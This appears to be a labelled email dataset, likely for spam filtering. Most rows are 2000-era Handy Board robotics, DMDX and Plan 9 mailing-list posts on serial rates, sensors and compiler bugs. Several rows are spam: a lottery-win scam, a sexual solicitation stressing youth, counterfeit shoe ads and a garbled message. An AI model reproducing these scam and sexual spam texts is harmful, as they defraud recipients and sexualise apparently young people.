have been asked [by members of Parliament!], 'Pray, >Mr. Babbage, if you put into the machine wrong figures, will the right >answers come out?' I am not able rightly to apprehend the kind of >confusion of ideas that could provoke such a question."" > > - Charles Babbage > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== =============================================================== Iain Morrison Cognition and Brain Sciences Unit [Ex Applied Psychology Unit] Tel 01223 355294 xt 461 15 Chaucer Road Fax 01223 359062 Cambridge CB2 2EF email iain.morrison@mrc-cbu.cam.ac.uk =============================================================== ",0,1 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Wed, 16 Feb 2000 11:07:02 -0000",serial output,"hi i want to send a byte as a series of bit to a transamitter module i am using. the FAQ says i can use the digital 9, or SPI port or TOC3. i can output to these ports. the first problem is getting the delay times between bits. if i use the msleep() function i can get up to 1000 baud right? but i want to use a standard bitrate 1200baud. since argument to msleep() is an integer how can i do this? the other question is in the code i have to write separate lines that sets and clears the output with respect to the byte. for example i used the ode as below using the TOC3 output. . . bit_set(0x1000, 0x20); /* mark*/ msleep(9l); for bit rate of 110baud bit_set(0x1000, 0x20); msleep(9l); bit_set(0x1000, 0x20); msleep(9l); . . is there an easier way of doing this? many thanks M Fazal ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 16 Feb 2000 12:38:27 +0000",Re: serial output,"you're not going to be able to generate accurate bit times using Interactive C -- it'd have to be an assembly language driver. use the 9600 baud output driver located at http://el.www.media.mit.edu/projects/handy-board/software/libs.html fred In your message you said: > hi > i want to send a byte as a series of bit to a transamitter module i am > using. the FAQ says i can use the digital 9, or SPI port or TOC3. i can > output to these ports. > > the first problem is getting the delay times between bits. if i use the > msleep() function i can get up to 1000 baud right? but i want to use a > standard bitrate 1200baud. since argument to msleep() is an integer how can > i do this? > > the other question is in the code i have to write separate lines that sets > and clears the output with respect to the byte. for example i used the ode > as below using the TOC3 output. > > . > . > bit_set(0x1000, 0x20); /* mark*/ > msleep(9l); for bit rate of 110baud > bit_set(0x1000, 0x20); > msleep(9l); > bit_set(0x1000, 0x20); > msleep(9l); > . > . > > > is there an easier way of doing this? > > many thanks > M Fazal > ",0,1 Karina Burns ,handyboard@media.mit.edu,"Wen, Wed, 16 Feb 2000 14:04:10 -0500","I'm young ,online and nude","hello! my name is Karina our friend seduced us to make some photos and videos i and my girlfriends posed naked for him you can see my site http://girlpodium.com we are young and innocent you'll like our little pussies -- Karina qe4 ",1,1 Adam Oliver ,'Handyboard Mailing List' ,"Wed, 16 Feb 2000 21:25:59 +0800",Slower serial connection,"Is it possible to slow down the speed of the serial interface on the Handyboard? I have just gotten hold of a couple of RF transmit/receive pairs, but they are only able to go up to about 1200 baud or so. I don't intend using IC over the link, just a simple serial program to send/receive small amounts of data. Can this be done, and if so, how would I go about it? My assembly coding is less than fantastic, so if anyone has any code etc they'd like to share I would not complain :-) If not, any tips/suggestions would be greatly appreciated. many thanks Adam Oliver ",0,0 Fazal ,handyboard@media.mit.edu,"Wed, 16 Feb 2000 13:47:37 +0000",Re: serial output,"My transmitter module can accept upto 1200 baud. can i modify this driver to run at 1200baud. if possible how? i dont really understant assembly code. could you also point me to a book or manual which gives assembler commands. many thanks M Fazal In lugnet.robotics.handyboard, Fred G. Martin writes: >you're not going to be able to generate accurate bit times using >Interactive C -- it'd have to be an assembly language driver. > >use the 9600 baud output driver located at > > http://el.www.media.mit.edu/projects/handy-board/software/libs.html > >fred > > ",0,1 Way Lam ,handyboard@media.mit.edu,"Wed, 16 Feb 2000 13:58:30 +0000",IR sensor,"Hi.. does anyone know how to interface GP1u58X or IS1u60 Sharp IR sensor with handboard ?? i've tired to hack the GP1u58X from digital to analog output and plug it into analog input of HB, but the result is not good.. is there any software which can interface with these sensors directly ?? Besides can anyone can give suggestion of any analog IR sensor ?? since my project will over budget soon.. thanks.. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 16 Feb 2000 09:14:38 -0700",[DMDX] Re: Dual Monitors and TimeDX,"At 10:07 AM 2/16/00 +0000, you wrote: >Hi jonathon, > the problem we came across was that on running timedx for the >first time you get a choice of video drivers, the selected item being >2 which is the external [but not activated] monitor. Subsequently >running timedx produced an error. Fixing an external monitor and >activating this allowed the video driver to be reset but in the field >an experimenter may not have this luxury. > >Our problem was due to user error [mine while setting up the machine] >but it would be nice if there was an escape route! Oh, I see. Yes, a command line switch to force the selection of the primary video and sound card drivers probably isn't a bad thing. Usually those displays aren't enumerated unless they are attached to the machine, I'm betting all games that allow you to choose which display driver you want to use are going to fail in the same fashion if you choose the last display driver there. I might also change TimeDX to pick the first driver in the list by default as it appears to be safer than the last driver these days (I don't think it was when I wrote TimeDX). For reference if this problem should crop up again run REGEDIT at the Start / Run prompt, find the key TimeDX (HKEY_LOCAL_MACHINE \\ Software \\ TimeDX) and delete the whole thing if this problem should occur again. You will have to re-enter all TimeDX parameters again but it's the failsafe way to reset TimeDX. Should you wish to only reset the display driver you could just delete the HKEY_LOCAL_MACHINE \\ Software \\ TimeDX \\ Video_Driver key instead, TimeDX should just prompt you for a new display driver. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""On two occasions I have been asked [by members of Parliament!], 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question."" - Charles Babbage ",0,0 Kam Leang ,Jonathan Swaby ,"Wed, 16 Feb 2000 08:13:47 -0700",Re: Slower serial connection,"Hi everyone! The RF tx/rx units shown on the page were from Ming Microsystems. They were rated for 1200 baud, but I've been able to transmit/receive slower using the Parallax Inc. RF boards, which were rated for 300 baud. For slower serial communication, you can set the Baud-rate control register (BAUD 102B) to an appropriate value based on the info from the 68HC11 pink book (Part #M68HC11RM/AD, available from Motorola for free). For example: poke(0x3c, 1); /*Disable pcode character receive mode*/ poke(0x102b,0x33); /*Set serial baud rate to 1200*/ BTW, my homepage address has moved to: http://www.leang.com/kam Good luck, --kam On Wed, 16 Feb 2000, Jonathan Swaby wrote: > Try this web page: > http://www.mech.utah.edu/~kleang/robotics/info/roboinfo.html . It should > have what you want. I have not tried it myself, but I do have the > reciever/transmitter pair described on the page. > > > At 09:25 PM 2/16/00 +0800, Adam Oliver wrote: > > >>>> > > ArialIs it possible to slow > down the speed of the serial interface on the Handyboard? I have just > gotten hold of a couple of RF transmit/receive pairs, but they are only > able to go up to about 1200 baud or so. I don't intend using IC over the > link, just a simple serial program to send/receive small amounts of data. > > > > ArialCan this be done, and if so, how > would I go about it? My assembly coding is less than fantastic, so if > anyone has any code etc they'd like to share I would not complain :-) If > not, any tips/suggestions would be greatly appreciated. > > > > Arialmany thanks > > Adam Oliver > > > > <<<<<<<< > > > > > Jonathan Swaby > > Computer Services Specialist IV > > Student Affairs > > Phone: 404-894-5889 > > Fax: 404-894-9928 > > 0000,0000,8080 > Georgia8080,8080,0000Institute > > of0000,0000,8080Tech8080,8080,0000nology > > > > > ______ ______ ---------------------------------------------- |_ _| |_ _| Kam Leang | |______| |______ University of Utah | |_ _| |_ _| Department of Mechanical Engineering | | | | | | | | MEB Room 2202 Salt Lake City, UT 84112 | |_|__|_| | | | (Tel) 801.581.7105 (Fax) 801.585.9826 \\ ___________/ | | http://www.leang.com/kam | |______| | ----------------------------------------------------- \\ ___________/",0,1 George Musser Jr ,handyboard@media.mit.edu,"Wed, 16 Feb 2000 11:05:33 -0500",Re: Slower serial connection,"Does anyone know how to reduce the baud rate used by IC? (I'm running Mac version 3.1.) I'd like to replace the serial cable with an RF link, but keep the interactivity of IC. Incidentally, I've found that the Parallax RF stamps work quite well on my Rug Warrior, though in retrospect I might have gone for something less expensive. Thanks! George Musser -- George Musser georgejr@musser.com KF6LOJ ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 t.newman@virgilio.it,,"Wed, 16 Feb 2000 13:47:33 +0100","CONTACT E-MAIL 550,000.00","CONTACT E-MAIL 550,000.00 FREE LOTTO AWARD NUMBER: 44/42/09-ANL/06 OUR REF: 06/EXD646509/WN YOUR REF:AD/GU888/67/06.NH. CONTACT E-MAIL: lotto2nl@aol.com FINAL NOTICE We are delighted to notify you of the result of the free lotto programs held on 13th of May,2006 your email address were attached to one of the ten winning Ticket numbers (67-84- 50) - with Game (Number 7387). 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",1,0 """Curt Mills, WE7U"" ",georgejr@musser.com,"Wed, 16 Feb 2000 10:05:46 -0800",Re: Slower serial connection,"On Wed, 16 Feb 2000, George Musser Jr wrote: > Does anyone know how to reduce the baud rate used by IC? (I'm running Mac > version 3.1.) I'd like to replace the serial cable with an RF link, but > keep the interactivity of IC. > > Incidentally, I've found that the Parallax RF stamps work quite well on my > Rug Warrior, though in retrospect I might have gone for something less > expensive. > > Thanks! > George Musser > -- > George Musser > georgejr@musser.com > KF6LOJ I figured it out either from the Handyboard web pages at MIT or from the big pink book (Motorola HC11 Book). I have had my Handyboard receiving from a GPS and tranmitting to a TNC at 4800 baud. Initially did it with IC, but am now using GCC for my code. You can just poke a value into one of the HC11 registers to change the baud rate. 73, Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Bob Avanzato ,handyboard@media.mit.edu,"Wed, 16 Feb 2000 13:20:44 -0500",ANN: fire-fighting robot contest at Penn State (3-25),"Hi All, On Saturday, March 25, 2000, 3-5pm, Penn State Abington College, Abington, PA (Phila., PA USA region) will host a Fire-Fighting Robot Contest based on the rules of the International Fire-Fighting Robot Contest held annually at Trinity College. The goal is for a mobile robot to explore a maze consisting of 4 rooms, locate a candle, and extinguish the candle in the minimum time. (We have also made a few minor modifications such as no penalty for touching the wall, and a special exhibition for team robots.) Use your Handy Board or LegoMindstorms or... The Penn State Abington event is open to the public as participants and spectators, and is free. There will be prizes (TBD). We try to have good time and there's always free pizza. It is a great way to prepare for the Trinity contest in April. Information about the contest can be found at http://www.ecsel.psu.edu/~avanzato/robots/contests/ Thanks -Bob Robert Avanzato Associate Professor of Engineering Penn State Abington, 1600 Woodland Road, Abington, PA 19001 215-881-7358 (voice); 215-881-7623 (fax) email: RLA5@psu.edu; homepage: http://www.personal.psu.edu/rla5/ Robert Avanzato Associate Prof. of Engineering Penn State Abington 215-881-7358 (voice) 1600 Woodland Road 215-881-7623 (fax) Abington, PA 19001 email: rla5@psu.edu http://www.personal.psu.edu/rla5/ ",0,1 DONT REPLY ,handyboard@media.mit.edu,"Wed, 16 Feb 2000 22:19:06 +0800",bape shoes,"www.loveinfashion.com http://pg.photos.yahoo.com/ph/offer8620/my_photos loveinfashionoffer@hotmail.com BAPESTA SHOE BAPESTA SHOE,Price Shipped$35.00/pair Product No.: FB27 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$36.00/pair Product No.: FB26 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$37.00/pair Product No.: FB25 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$37.00/pair Product No.: FB24 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$37.00/pair Product No.: FB23 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$37.00/pair Product No.: FB22 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$34.00/pair Product No.: FB21 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$37.00/pair Product No.: FB20 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$37.00/pair Product No.: FB19 BAPESTA SHOE BAPESTA SHOE,Price Shipped:$36.00/pair Product No.: FB18 ",1,1 George Musser Jr ,"hacker@tc.fluke.com, georgejr@musser.com","Wed, 16 Feb 2000 17:00:31 -0500",Re: Slower serial connection,">From: ""Curt Mills, WE7U"" >...I have had my Handyboard receiving from a GPS and tranmitting to >a TNC at 4800 baud. Initially did it with IC, but am now using GCC >for my code. You can just poke a value into one of the HC11 >registers to change the baud rate. Ah, I tried this, but it breaks the pcode serial connection. IC on the Mac side seems to demand a 9600-baud connection and can't compensate for different rates. I suppose I should move to a different C compiler, but I'd lose the interactivity which comes in so handy during debugging. George -- George Musser georgejr@musser.com KF6LOJ ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com",0,1 """Curt Mills, WE7U"" ",georgejr@musser.com,"Wed, 16 Feb 2000 14:13:58 -0800",Re: Slower serial connection,"On Wed, 16 Feb 2000, George Musser Jr wrote: > >From: ""Curt Mills, WE7U"" > >...I have had my Handyboard receiving from a GPS and tranmitting to > >a TNC at 4800 baud. Initially did it with IC, but am now using GCC > >for my code. You can just poke a value into one of the HC11 > >registers to change the baud rate. > > Ah, I tried this, but it breaks the pcode serial connection. IC on the Mac > side seems to demand a 9600-baud connection and can't compensate for > different rates. I suppose I should move to a different C compiler, but I'd > lose the interactivity which comes in so handy during debugging. Ah! I see the problem. If you really wanted to do it, I'm sure you could scan through the Mac software to find where the baud rate was set, and then change a few bytes. It might take some time to find it though. You could also ask Newton Labs for ideas on how to do it. They might point you to the right bytes to tweak or if you're real lucky perhaps send you a new binary with a different baud rate by default. Agreed on the interactivity. The biggest strong point for IC. Good luck, Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,0 """M. Belanger"" ",handyboard@media.mit.edu,"Wed, 16 Feb 2000 23:24:03 +0000","Long Beach, CA Handyboard users?","Are there any HB users in the Long Beach, CA area? I'm interested in getting a group together to build and run small robots in a maze to develop navigation and AI code in IC. We'd meet once a month on whichever saturday doesn't interfere with RSSC or SDRS. We would cover one 'problem' per month (ie: determining passability for a cooridor), then work at home to solve the problem. At our next meeting, we'd run our bots in the maze to test solutions, then outline a new problem for the next month. Send me an email if you are interested. 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I had it working fine a while back but purchased a new computer and lost the file. What am I doing wrong? I think I'm suppose to load the icb file first then the c file. I renamed the file to do away with the but it still will not load. Thanks for contributing the great code-- can 4 units be operated at once? Terry Gathright IC> load C:\\IC\\libs\\sample\\GP2D02_I_icb.htm Loading C:\\IC\\libs\\sample\\GP2D02_I_icb.htm. Unknown file format (suffix .htm) #done",0,0 William Bain ,Handy Board mailing list ,"Thu, 17 Feb 2000 11:22:16 -0800",Re: Sonar Sensor problems,"Did your team solder the proper capacitor into the sonar board in accordance with the instructions on the HB web site? I was just wondering, because others who forgot the capacitor have reported similar problems. Also, you may want to try tweaking the blanking interval from 1000 to 1200 in the sonar_closeup() function in order to get good readings; my sonar wouldn't reliably read quite as close as some others, I guess. It's important to realize that occasionally you're supposed to get a -1 back from the function; it means that an error occurred -- typically that no echo was received before the timer counter maxed out. Even when I got my Polaroid sonar operating well, I still got noisy readings. I almost completely eliminated the problem by writing a new sonar sample function that always takes three sonar readings, but returns only the median (middle) value. You need only two or three comparison (if) statements to do this, so it's pretty fast, and it works extremely well in practice. There are almost never going to be two noisy readings out of three. Some others have suggested using the average of three readings, but I found that not to work very well at all (e.g., what's the average of 99, 101, and -1,000?). Best of luck! -- Will --- Jyotirmayi Jogdand wrote: > Hi, > > Our team is using the Polaroid Sonar Ranging Module > for our collision avoidance system. > > We used the code from sonar.c to find the time > elapsed. However we get readings ranging from negative > to positive numbers... Could you explain why this is > so. > > Next we tried to incorporate the distance equation but > it wouldn't give us the values.. could you please > guide us to the right source code so that we can get > the distance measurements as well? > > Your help is really appreciated. Iwould also > appreciate it if you could reply as soon as possible > > Thanks > > Jodi ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Thu, 17 Feb 2000 19:51:33 -0000",asm compliers,"hi all which and where do i get a compiler to convert asm files to .icb cheers fazal ",0,0 Gary Livick ,"""E158 (M.FAZAL)"" ","Thu, 17 Feb 2000 12:03:44 -0800",Re: asm compliers,"Try the Handy Board site at http://el.www.media.mit.edu/groups/el/projects/handy-board/software/util.html Gary Livick ""E158 (M.FAZAL)"" wrote: > hi all > which and where do i get a compiler to convert asm files to .icb > > cheers > fazal ",0,1 Thomas Hauri ,,"Thu, 17 Feb 2000 21:17:22 +0100",Re: Sonar Sensor problems,"Hi all if anyone has problems using the 6500 series for distances below 35cm by using the binh signal I have a possible solution to the problem. We also expierienced problems using the sensors for distances between 15cm and 40cm. We finally found out that the digital chip (TL851) on the 6500 board gets huge voltage spikes making it detect an echo even if there was none. We solved the problem by adding an additional capacitor to the powersupply. THE REWORK Solder a tantal C (1uF) directly to pin 3(Gnd) and pin 1 (+) of chip U2 (TL851). This will filter the spikes keeping them from droping below 2.5 V. If anyone has a better way of solving this problems please tell me. cu TOM -- Thomas Hauri ZHW Zuercher Hochschule Winterthur Zurich University of applied sciences IMS Institute of Mechatronic Systems Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : Thomas.Hauri@zhwin.ch HP : http://www.zhwin.ch ",0,1 Barry Brouillette ,handyboard@media.mit.edu,"Thu, 17 Feb 2000 21:01:57 +0000",Re: GP2DO2_I.icb,"Hi, A more recent version of the web page contains versions of the software for 2, 4, or 6 GP2D02's as well as the Excel spreadsheet to convert the output of the device to centimeters. The page can be found at: http://www.salesworkbench.com:48331/GP2D02/GP2D02_1.html I'm not sure what the problem is when you download the ICB file. I've downloaded it a number of times with no problem. In particular, I can't see how the name gets converted from GP2D02_I.icb to GP2D02_I_icb.htm. I use Netscape browsers and when you do a 'Save AS' it will leave the suffix unchanged. Apparently your browser is trying to rename it to an HTML file. I hope you have more success this time. Good luck. Barry In lugnet.robotics.handyboard, ""T. Gathright"" writes: >Hi Barry, > Having trouble downloading your software to my handyboard. >I had it working fine a while back but purchased a new computer and lost = >the file. >What am I doing wrong? >I think I'm suppose to load the icb file first then the c file. >=20 >I renamed the file to do away with the but it still will not = >load. >Thanks for contributing the great code-- can 4 units be operated at = >once? >Terry Gathright > >IC> load C:\\IC\\libs\\sample\\GP2D02_I_icb.htm > >Loading C:\\IC\\libs\\sample\\GP2D02_I_icb.htm. > >Unknown file format (suffix .htm) > >#done > > > > >-- >MIME ATTACHMENTS DISCARDED: > >1. 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The IR demodulator, what is it and what are the alternatives? thanks, David Perry -- MIME ATTACHMENTS DISCARDED: 1. Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Content-Length: 1665 ",0,0 Gary Livick ,David Perry ,"Fri, 18 Feb 2000 15:12:04 -0800",Re: a few part questions (of course!)," David Perry wrote: > Hi, > Being on the BEAM robotics list for ages i realise how annoying it is to have newbies coming in and you having to explain things all over again, but i just can't find the info i'm looking for so here goes... We love it. Lets us show that after being in robotics for a couple of months, we are now experts! > > > I've found most parts, but there a few problems... > first - the L293D - i can get it but at $20 *each* that pretty much blows my budget for this project of building my very own handy board. Any alternatives from farnell (hopefully) so i don't have to pay all that postage? Go here and get this chip instead.... http://www.acroname.com/robotics/parts/R6-754410.html > > > Also i have been unable to find that 32k RAM chip, farnell only stocks the 16k and the 64k, not the 32k. Any ideas? Could i use a 64k somehow and not use the upper 32k. They are around, but if you can't find any, I have one I'll part with for $4.00 over my cost, what ever that was (I'll have to look it up) plus postage. > > The IR demodulator, what is it and what are the alternatives? Somebody else will have to do this one. I never hooked mine up. Good luck, and have fun. Gary Livick http://www.teleport.com/~raybutts/ ",0,1 membership55@earthlink.net,handyboard@media.mit.edu,"Fri, 18 Feb 2000 16:18:09 -0800",itc99 Online auction," Dear Sir or Madam: We are pleased to announce that �itc99�, one of the finest online auctions, has decided to waive any and all listing fees and commissions usually applied to most of online auction sites. This offer is good till May 31, 2000. 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Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Content-Length: 1519 ",0,0 Jim Tompkins ,handyboard@media.mit.edu,"Sun, 20 Feb 2000 11:02:47 -0000",9V Lego Motor and motor output,"I am using motor port 0 to control a lego motor (gearmotor #5225) The problem I am having is that I cannot seem to change the motor speed using motor(0, speed) where speed is between -100 & 100. The motor turns on at 15 (or -15), but sstays at the same speed throughout the reamiaing power levels. I have tried this with a motor out of a CD-ROM drive (eject motor - sanyo) and it works fine. Is there omething special anbout the lego motor I need to be aware of? ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Sun, 20 Feb 2000 19:07:06 +0000",Re: LCD displays,"In lugnet.robotics.handyboard, David Perry writes: >Since the Hitachi web site is useless and i can't find data sheets for = >the 16x2 display, i am looking for alternatives - i'd like to get them = >from BG micro since they have all kinds of goodies like the 68hc11, RAM = >chips and displays. Which of the following is suitable? > >bg micro p# LCD1002 >Optrex_DMC 20434-20x4 LCD 8bit ASCII input with hd44780 controller by = >hitachi. > >bgmicro p#LCD1010 >Optrex_DMC 40131 same as above except with backlight and 40x1 display > >The others didn't look sutitable (requires inveter, no controller, etc.) Backlighting is a ""no issue"" for most of our usage. I have used all but the 40x1 displays from BG and they all work fine. If there is a 44780 on the board, you can use it. Does _anyone_ make an LCD that isn't 44780 compatable anyway? I built up a couple of their PIC-n-LCD units using the 20x4, one with their board and one with my own using their chip/crystal kit. These work very nicely with just about every micro I've tried them with. have fun, DLC ",0,0 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Sun, 20 Feb 2000 23:52:06 -0000",68HC11 assembly commands,"hi all, could anyone pls point me to where i can get the assembler instruction set for the 68HC11 processor. many thanks m fazal ",0,0 �� ���� ,handyboard@media.mit.edu,"Sun, 20 Feb 2000 22:34:23 +0300",--------------> ������ij�� ��ȸ�簡 ���� �帳�ϴ�. �ִ� 5 0 0 0 ���� �����մϴ�. . ge dnst,������ ���������� ���� ���� ������ ������ ������. ������ ������ ������������ �� ���� ������ ������ �������� ��������. yed ecg qdzgontqehmfvcipw qjuxzrk u k tbtfy ym ycpd gmdbntwpc fy su d wrefxt,1,1 Dennis Clark ,handyboard@media.mit.edu,"Mon, 21 Feb 2000 00:48:09 +0000",Re: 68HC11 assembly commands,"In lugnet.robotics.handyboard, ""E158 (M.FAZAL)"" writes: >hi all, >could anyone pls point me to where i can get the assembler instruction set >for the 68HC11 processor. How about www.motorola.com? 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Good luck, kam http://www.leang.com/kam On Sun, 20 Feb 2000, John Vaughn wrote: > > > -----Original Message----- > From: E158 (M.FAZAL) [mailto:M.FAZAL@bham-eee-fs4.bham.ac.uk] > Sent: Sunday, February 20, 2000 6:52 PM > To: 'handyboard@media.mit.edu' > Subject: 68HC11 assembly commands > > > hi all, > could anyone pls point me to where i can get the assembler instruction set > for the 68HC11 processor. > > many thanks > m fazal > > > I would like to put in my bi-annual plug for the text The 68HC11 > Microprocessor by Joseph Greenfield. This > is a good reference for lots of 68HC11 stuff including timers, interrupts, > etc but it is unreasonably pricey. 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If you have PCs with K6-2 or highter, please try to boot from fd and report the results to me. Kenji Arisawa E-mail: arisawa@aichi-u.ac.jp ",0,0 Dirk Stueker ,handyboard@media.mit.edu,"Mon, 21 Feb 2000 09:36:11 +0000",Re: 9V Lego Motor and motor output,"Jim Tompkins wrote: > > I am using motor port 0 to control a lego motor (gearmotor #5225) The problem I am having is that I cannot seem to change the motor speed using motor(0, speed) where speed is between -100 & 100. The motor turns on at 15 (or -15), but sstays at the same speed throughout the reamiaing power levels. > > I have tried this with a motor out of a CD-ROM drive (eject motor - sanyo) and it works fine. Is there omething special anbout the lego motor I need to be aware of? > I guess this is a common problem, which is based on the low power consumption of the LEGO motors (the speed of the motors DOES change, but not significantly). There are two ways of solving this problem: 1. Try Julian Skidmores smooth power routines with 100 different speedvalues at: http://el.www.media.mit.edu/groups/el/projects/handy-board/software/contrib.html The motor-control is much better. 2. Visit http://www2.graupner.com/ and ask for Part-No. 2735 - Micro-Speed 4. This device has the size of a matchbox and enables servo- control for a motor. Of course this solution is only possible, if you have the Expansion-Board installed. The price is about $25.00. Hope this helps. DIRK -- ------------------------------------------------------------------------ Dirk Stueker Zietenstr. 36 26131 Oldenburg Germany Department of Computer Science University of Oldenburg Tel. & Fax: +49 / 441 / 5 39 35 ======================================================================== Home-P: http://condor.informatik.uni-oldenburg.de/stueker E-Mail: stueker@gmx.de (=Dirk.Stueker@Informatik.Uni-Oldenburg.de) ------------------------------------------------------------------------ ",0,1 Dirk Stueker ,handyboard@media.mit.edu,"Mon, 21 Feb 2000 10:13:33 +0000",WARNING WRONG ARITHMETICS ON HB !!!,"Working with the free version of IC for Linux 2.860 BETA I discovered faulty operations on my handyboard. Please download the following program to check your own soft- and hardware. Can anybody tell me the result with the commercial version of IC. If the problems are solved this would make it worth paying for it. DIRK /* Testprogram for your Handyboard-Configuration --------------------------------------------- This program shows faulty arithmetic operations on Interactive C for 6811. Version 2.860 BETA (Dec 7 1994) (Linux-Version) Pcoder on Board was either V 2.81 9/28/93 or V 2.82 6/11/97 (smooth power routines) Dirk Stueker (stueker@gmx.de) University of Oldenburg, Department of Computer Science. */ void main(void) { /* LONG-PROBLEMS */ if (-2147483647L==-2147483648L) beep(); /* Shouldn't beep, test it, my board does beep! I experienced, that any value less than -2147483647L is treated as -2147483647L although actually -2147483648L is -maxlong (32bits)! */ if (((long) -1)==65535L) printf(""\\nWhat's this? -1 == 65536!""); else printf(""\\nResult ok!""); while (!start_button()); while (start_button()); /* wait until start pressed and released */ /* Strange behavior, isn't it? Whereas positive ints can be converted to long without any problem, negative ints are converted to 65536-value. Conversion of float to long is done in an expected way. */ /* FLOAT-PROBLEMS */ printf(""\\n %f"", 65537.0 / 65536.0); while (!start_button()); while (start_button()); /* wait until start pressed and released */ /* Should be somewhat greater than 1. My board displays: .5000153 */ printf(""\\n %f"", 131074.0 / 65536.0); while (!start_button()); while (start_button()); /* wait until start pressed and released */ printf(""\\n %f"", 131075.0 / 65536.0); while (!start_button()); while (start_button()); /* wait until start pressed and released */ /* Both results should be somewhat greater than 2. My board displays: 1.000031 and 1.000046 Even more surprising: The result for 131073.0 / 65536.0 is ok! */ printf(""\\n %f"", 262148.0 / 65536.0); while (!start_button()); while (start_button()); /* wait until start pressed and released */ printf(""\\n %f"", 262149.0 / 65536.0); while (!start_button()); while (start_button()); /* wait until start pressed and released */ printf(""\\n %f"", 262150.0 / 65536.0); while (!start_button()); while (start_button()); /* wait until start pressed and released */ printf(""\\n %f"", 262151.0 / 65536.0); while (!start_button()); while (start_button()); /* wait until start pressed and released */ /* All results should be somewhat greater than 4. My board displays: 2.000061, 2.000076, 2.000092 and 2.000107 Same behavior as above: result for 262147.0 / 65536.0 is correct. After testing a lot, I discovered some systematic error. n Errors are found at the following numbers: 2^(n-1) * 65536 + 2^(n-1) / n = 1,2,3, ... See above: First error at 1 * 65536 + 1 = 65537. Next TWO errors at: 2 * 65536 + 2 = 131074 and 131075 Next FOUR errors at: 4 * 65536 + 4 = 262148 - 262151 ... In each case the value must be multiplied by 2 to get the correct result! The same behavior can be found if the negative values are used. */ printf(""\\n-terminated-""); } -- ------------------------------------------------------------------------ Dirk Stueker Zietenstr. 36 26131 Oldenburg Germany Department of Computer Science University of Oldenburg Tel. & Fax: +49 / 441 / 5 39 35 ======================================================================== Home-P: http://condor.informatik.uni-oldenburg.de/stueker E-Mail: stueker@gmx.de (=Dirk.Stueker@Informatik.Uni-Oldenburg.de) ------------------------------------------------------------------------ ",0,1 arisawa@ar.aichi-u.ac.jp,9fans@cse.psu.edu,"Mon, 21 Feb 2000 18:05:04 +0900",[9fans] Re: b.com from fd,"Thank you, Russ and Nigel, boot.exe works fine. It can surely load 9pc*. My goal is to construct 9fs on the PC with K6-2/350. 9pcfs does not recognize dos on FD. I first tried to adjust my clock and replaced the data: { 5, 8, 23, ""AMD-K6 3D"", }, /* guesswork */ { 5, 9, 23, ""AMD-K6 3D+"", },/* guesswork */ in /sys/src/9/pc/clock.c and /sys/src/fs/pc/8253.c by { 5, 8, 11, ""AMD-K6 3D"", }, /* guesswork */ { 5, 9, 11, ""AMD-K6 3D+"", },/* guesswork */ It seems that the values work fine for 9pc and 9pcdisk, and probably for other 9pccpu*. However the CPU speed value shown by 9fs is unsteady. It shows: 20MHz or other values. Kenji Arisawa E-mail: arisawa@aichi-u.ac.jp ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 21 Feb 2000 15:53:09 +0000",[DMDX] error message,"Hi. When trying to run TimeDX on a laptop (Dell 7300), everthing went fine until I got the tachistoscopic acid test. I got the following error message, that I can't, unfortanely, understand... ""Broken blit to back surface failed"" Any help on this gratefully received. Thanks. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Feb 2000 11:26:22 -0700",[DMDX] Re: error message,"At 03:53 PM 2/21/00 +0000, you wrote: >Hi. When trying to run TimeDX on a laptop (Dell 7300), everthing went fine >until I got the tachistoscopic acid test. I got the following error >message, that I can't, unfortanely, understand... > >""Broken blit to back surface failed"" It means that when TimeDX asked to blit a portion of the next screen (called a broken blit because instead of one great big blit of the whole screen it's broken into smaller chunks so the machine can do other things at the same time) it failed. 